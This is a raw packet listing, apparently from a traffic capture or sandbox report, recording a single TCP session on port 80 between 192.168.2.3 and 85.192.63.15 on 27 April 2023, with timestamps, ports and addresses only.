Apr 27, 2023 07:42:00.146689892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.146692038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.146719933 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.146737099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.149687052 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.149714947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.149739027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.149770975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.149796009 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.149811983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.149840117 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.149885893 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.151555061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.151581049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.151611090 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.151638031 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.151664972 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.151709080 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.154875994 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.154895067 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.154921055 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.154952049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.154974937 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.154989004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.155018091 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.155034065 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.156517029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156536102 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156563044 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156584978 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156620979 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.156649113 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.156652927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156677961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.156743050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.176449060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.176503897 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.176548958 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.176594973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.176632881 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.176670074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.176670074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.176670074 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.176747084 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.179713011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.179796934 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.179842949 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.179924011 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.179981947 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.180047989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.180047989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.181215048 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181251049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181296110 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181341887 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181375027 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181412935 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.181422949 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.181423903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.181423903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.181487083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.181487083 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.185430050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.185481071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.185527086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.185555935 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.185561895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.185586929 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.185607910 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.190009117 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.190085888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.190135956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.190182924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.190187931 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.190221071 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.190241098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.190241098 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.190280914 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.191924095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.191978931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.192027092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.192054987 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.192063093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.192073107 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.192110062 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.192115068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.192147970 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.192200899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.220407963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.220484018 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.220530987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.220542908 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.220571041 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.220582962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.220582962 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.220721960 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.221699953 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221735954 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221771002 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.221781969 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221816063 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221843004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.221860886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221865892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.221865892 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.221899033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.221956968 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.223534107 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.223581076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.223625898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.223661900 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.223679066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.223679066 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.223736048 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.226931095 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.226980925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.227029085 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.227065086 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.227066040 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.227087021 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.227116108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.228537083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.228605032 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.228641033 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.228688002 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.228688955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.228713036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.228725910 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.228753090 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.228779078 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.230160952 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.230197906 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.230243921 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.230271101 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.230292082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.230293989 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.230329990 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.230345011 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.230381012 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.236736059 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.236787081 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.236819029 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.236862898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.236886978 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.236901045 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.236917019 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.236934900 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.236958027 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.238338947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.238408089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.238447905 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.238486052 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.238512039 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.238555908 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.238590956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.238615036 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.238639116 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240108013 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240144968 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240187883 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240187883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240206957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240222931 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240245104 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240282059 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240308046 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240345955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.240360975 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.240401983 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.245522022 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.245570898 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.245616913 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.245630026 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.245654106 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.245655060 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.245671034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.245707035 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.248282909 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.248348951 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.248394012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.248442888 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.248464108 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.248480082 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.248491049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.248491049 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.248699903 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.250226974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.250276089 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.250300884 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.250322104 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.250328064 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.250360012 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.250372887 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.250467062 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.254977942 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.255028963 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.255075932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.255112886 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.255119085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.255148888 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.255171061 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.256560087 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.256594896 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.256639004 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.256639957 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.256664038 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.256681919 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.256717920 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.256746054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.256766081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.259938955 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.259973049 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.260015965 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.260037899 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.260049105 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.260092974 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.260117054 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.260128021 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.260169029 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.260245085 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.261812925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.261868000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.261917114 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.261918068 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.261940956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.261965036 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.261976004 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.262003899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.262058020 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.265110016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.265158892 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.265206099 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.265264034 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.265264988 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.265389919 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.266690016 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.266726017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.266762018 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.266771078 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.266788006 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.266835928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.266843081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.266872883 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.266891956 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.266935110 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.268426895 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.268517017 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.268568993 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.268608093 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.268610001 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.268636942 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.268652916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.286578894 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.286634922 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.286683083 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.286730051 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.286751986 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.286777973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.286782026 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.286792994 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.286838055 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288254023 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288309097 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288357973 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288358927 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288382053 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288394928 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288427114 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288446903 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288461924 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288485050 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.288505077 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.288639069 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.291644096 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.291738987 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.291788101 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.291791916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.291814089 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.291832924 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.291853905 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.291873932 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.291934013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.293513060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.293576956 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.293617010 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.293625116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.293659925 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.293673992 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.293694973 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.293704033 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.293720961 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.294208050 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.312441111 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.312500000 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.312545061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.312591076 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.312625885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.312747955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.312747955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.312747955 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.314122915 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.314172983 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.314205885 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.314250946 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.314265013 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.314286947 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.314315081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.314315081 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.314337969 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.315713882 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.315748930 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.315833092 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.315838099 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.315880060 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.315888882 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.315916061 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.315937996 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.315962076 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.319175959 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319211006 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319257975 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319267988 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.319284916 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.319293976 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319324970 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.319339991 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319377899 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.319399118 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.319427967 CEST	49697	80	192.168.2.3	85.192.63.15
Apr 27, 2023 07:42:00.340420961 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.340500116 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.340545893 CEST	80	49697	85.192.63.15	192.168.2.3
Apr 27, 2023 07:42:00.340586901 CEST	80	49697	85.192.63.15	192.168.2.3
